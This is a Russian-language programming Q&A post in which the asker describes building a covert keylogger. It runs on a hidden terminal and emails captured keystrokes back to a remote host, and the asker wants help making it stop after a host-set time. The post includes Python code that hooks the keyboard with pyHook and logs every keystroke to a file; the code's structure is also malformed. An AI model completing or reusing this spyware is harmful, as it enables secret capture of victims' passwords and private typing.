Как я могу запретить кейлоггеру регистрировать нажатия клавиш по истечении определенного времени? - PullRequest
0 голосов
/ 03 сентября 2018

Итак, я пытаюсь создать кейлоггер, который отправляет электронное письмо после того, как кейлоггер завершил регистрацию. У меня есть программа сервер / клиент, которая позволяет серверу / хосту отправлять данные на скрытый терминал и отправлять нажатия клавиш обратно по электронной почте пользователя, которая также вводится хостом. Эти детали не очень важны, но у меня есть фрагмент кода, с которым мне нужна помощь. Я хочу, чтобы это прекратило регистрировать по прошествии определенного времени, которое также определяется хостом. Мой код выглядит следующим образом:

while time.time() < t_end:
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
...